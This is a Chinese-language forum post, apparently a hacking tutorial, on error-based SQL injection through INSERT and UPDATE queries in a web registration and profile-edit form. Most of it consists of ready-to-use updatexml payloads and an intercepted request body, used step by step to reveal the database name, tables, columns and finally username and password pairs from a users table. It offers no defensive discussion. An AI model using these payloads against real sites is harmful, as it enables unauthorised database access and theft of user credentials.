搜索
查看: 7675|回复: 0

sql update/insert注入

[复制链接]

714

主题

354

回帖

2669

积分

管理员

本论坛第一帅

积分
2669

热心会员推广达人宣传达人突出贡献优秀版主荣誉管理论坛元老

QQ
发表于 2019-4-9 10:27:57 | 显示全部楼层 |阅读模式 来自 甘肃
insert注入


关于update insert语句

update 数据库更新语句

insert 数据库插入语句

首先打开注册页面


我们填写数据,点击提交后抓包。




在用户名输入:
payload
[pre]
wangwu'or updatexml(1,concat(0x7e,(命令)),0) or'
[/pre]
爆出数据库

[pre]
test001' or updatexml(1,concat(0x7e,database()),0) or'
[/pre]

加在前面就行了
[pre]
username=test001' or updatexml(1,concat(0x7e,database()),0) or'&password=kali&sex=111&phonenum=1111&email=2222&add=china&submit=submit
[/pre]
放包即可



成功获取数据库
获取表

[pre]
test001' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='lou' limit 0,1)),0) or'
[/pre]



获取列

[pre]
test001' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 2,1)),0) or'
[/pre]



获取内容

[pre]
test001' or updatexml(1,concat(0x7e,(select concat_ws(':', username, password) from users limit 0,1)),0) or'
[/pre]



update注入

首先登陆


点击修改 进行抓包




[pre]

test'or updatexml(2,concat(0x7e,(database())),0) or'

[/pre]



其他请参考上面提到的语法。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?注册

×
有志者,事竟成,破釜沉舟,百二秦关终属楚. 苦心人,天不负, 卧薪尝胆 ,三千越甲可吞吴
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

快速回复 返回顶部 返回列表